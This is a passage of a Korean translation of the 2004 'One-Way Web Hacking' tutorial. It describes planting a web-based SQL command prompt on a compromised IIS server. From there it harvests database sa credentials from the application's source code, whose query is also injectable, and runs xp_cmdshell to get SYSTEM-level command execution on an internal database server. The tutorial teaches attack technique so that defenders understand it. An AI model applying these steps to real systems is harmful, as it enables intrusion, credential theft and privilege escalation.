shell.cgi 프로세스의유효 uid (euid) 는 root 유저인 0 이란걸주의하라. /etc/shadow 파일의내용을볼수있다는것은권한이상승되었음을증명한다 우리는이제 www2.example.com 의 full 슈퍼유저제어권을가지고있다. 7.0 Web based SQL Command Prompts One-way 해킹은파일전송과 HTTP 를통한원격명령실행이외의영역으로확장될수있다. 어플리케이션에서가장중요한요소중하나는데이터베이스이다. 이섹션에서는 one-way 해킹의개념을대화형제어데이터베이스서버 ( 웹기반 SQL 명령프롬프트 ) 에어떻게확장할수있는지보여준다. 웹기반 SQL 명령프롬프트는사용자가 HTML 인터페이스를통해데이터베이스서버에연결하고, HTML 폼을통해 back-end 데이터베이스에서 SQL 쿼리를실행하는걸허용한다. 어떤데이터베이스라도웹어플리케이션과연동되어사용하기때문에웹기반 SQL 명령프롬프트는같은기술을사용한다. PHP 와 ASP 와같은웹프로그래밍언어는 back-end 데이터베이스로연결하는기능을제공한다. 많은경우, 일단웹서버가손상되면, 일반적으로공격자는데이터베이스가있는곳과그곳에접근할자격이있는곳을알아내기위해웹서버에호스트된소스코드와어플리케이션설정파일을찾는다. 이정보는웹기반 SQL 명령프롬프트를사용하는데이터베이스를공격할때사용될수있다. 7.1 Anatomy of an SQL command prompt - sqlquery.asp 아래그림은 ASP 로만들어진웹기반 SQL 명령프롬프트의한예를보여준다. 이폼에다섯개의키입력공간이있다.. Server Name: 데이터베이스서버의 symbolic name 이나 IP 주소. 대부분의경우, 데이터베이스서버는웹서버와완전히다른시스템이다. Database Name: 데이타베이스서버에호스트되는데이타베이스의모임중데이타베이스의이름. User Name: 데이터베이스연결을사용할자격을가진데이터베이스사용자. Password: 데이터베이스사용자의패스워드. 일반적으로, 데이터베이스사용자와패스워드는손상된웹서버의어플리케이션소스코드와호스트된설정파일을조사함으로써발견된다. Query String: 데이터베이스에보내고실행되는 SQL 쿼리. 다른두개의파라미터 Driver 와 Connection String 은데이터베이스에대해적절한 driver 와경로를선택하는데사용된다. Connection String 파라미터는선택사항이다. sqlquery.asp 에서, 우리는 driver 4 개, 즉 Microsoft SQL 서버, ODBC 를통한 Oracle, ODBC 를통한 MySQL 그리고 Foxpro 를통한연결옵션이있다. driver 를더추가하는건매우쉽다. sqlquery.asp 에대한소스코드는여기에서구할수있다. PHP, Perl, JSP 등과같은언어로웹기반 SQL 명령프롬프트처럼만드는것이가능하다.
(Thanks to Ketan Vyas for sqlquery.asp) 7.2 An example - IIS and MS SQL server 이제 sqlquery.asp 를이용해서내부네트워크에있는데이터베이스서버를어떻게해킹하는지시나리오를보여준다. 아래그림은 www1.example.com 웹서버와데이터베이스서버 10.0.1.2 의어플리케이션계층을보여준다. www1.example.com 이이미손상되었고웹기반파일업로더 (upload.asp) 와웹기반명령프롬프트 (cmdasp.asp) 가심어져있다고가정한다. 권한상승에대해선가정하지않는다. www1.example.com 에 sqlquery.asp 를업로드하고 10.0.1.2 에있는데이터베이스서버를공격하는데사용할것이다. 7.3 Uploading sqlquery.asp 아래의스크린샷은 sqlquery.asp 가 www1.example.com 에파일업로더 (upload.asp) 에의해업로드되고있는걸보여준다. 7.4 Pilfering the web application
back-end 데이터베이스에연결하기전에, 어떻게데이터베이스에연결이되는지와무슨자격이있는지알아야한다. www1.example.com 에서호스트된웹어플리케이션의소스코드를조사하자마자, 다음라인이발견된다. Set Con = Server.CreateObject("ADODB.Connection") Con.Open "Provider=SQLOLEDB; Data Source=10.0.1.2; Initial Catalog=art; User Id=sa; Password=sys+adm!n" Set RS = Con.Execute("select StockNumber,Name,Description,Artist, ListPrice,image from PRODUCTS where ID = " + Request.QueryString("ID")) 어플리케이션소스코드의이라인은 10.0.1.2 에있는 back-end 데이터베이스서버에연결할충분한정보를우리에게알려준다. 7.5 Executing SQL queries via sqlquery.asp 위의 sqlquery.asp 를사용하여, 데이터베이스서버에서임의의 SQL 명령문을실행하는것이가능하다. 아래의스크린샷은 "SELECT * FROM SYSDATABASES;" 쿼리의결과를보여준다. 다음스크린샷은어플리케이션데이터가 "art" 데이터베이스에서호스트된 PRODUCTS 테이블의출력을보여준다.
7.6 Executing stored procedures 또한 SQL 명령프롬프트는저장프로시져를실행하는데사용될수있다. 예를들어, 시스템관리자 (sa) 권한을사용하는 back-end 데이터베이스를접근할것이다. 그결과데이터베이스에있는임의의명령을실행하기위해 "xp_cmdshell" 과같은저장프로시져를실행하는것이가능하다. 아래의스크린샷은 "xp_cmdshell" 저장프로시져를사용하여데이터베이스에서 "ipconfig" 명령을실행하는걸보여준다.
외부에서접근할수없는내부서버에원격명령을실행시켰다. 사실, 이와같은예제로권한상승또한가능하다. 왜냐하면시스템관리자권한을사용하여데이터베이스에접근할수있기때문이다. "whoami.exe" 을실행시킴으로써우리가얻은권한을보여준다.
위의스크린샷은 "NT_AUTHORITY\SYSTEM" 사용자인관리자권한을확실히가졌음을증명한다. 8.0 Concluding thoughts one-way 해킹은방화벽이웹어플리케이션을보호하는데충분치않다는사실을설명한다. 견고한방화벽은공격을힘들게할순있지만공격자의모든방법을막을순없다. 사실파일업로더, 웹기반명령프롬프트, 웹기반 SQL 명령프롬프트같은툴이있으면웹어플리케이션과그밑에있는네트워크를공격하기쉽다. 어플리케이션을보호하는시각의관점에서 SSL 은더나쁘다. 많은사람들은 SSL 이그런공격들을보호해준다고생각한다. 그렇지는않다. 단지 SSL 은도청을방지하기위해웹브라우저와웹서버사이의데이터를암호화할뿐이다. SSL 은웹어플리케이션과그밑에있는네트워크에보안을제공하지않는다. 모든 one-way 해킹은 OpenSSL 같은라이브러리를사용함으로써 SSL 에쉽게적용될수있다. 9.0 References 1. Web Hacking: Attacks and Defense - Saumil Shah, Shreeraj Shah, Stuart McClure, Addison Wesley, 2002 2. Inside-Out Attacks - Patrick Heim, Saumil Shah, 1999 3. Forms in HTML documents - multipart/form-data - from http://www.w3.org 4. RFC 1867 - Form-based File Upload in HTML 5. Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability 6. Linux Ptrace/Setuid Exec Vulnerability 7. Securiteam - Ptrace Exploit Code 8. SSL - a false sense of security by Chris Prosise and Saumil Shah one way 2004 net-square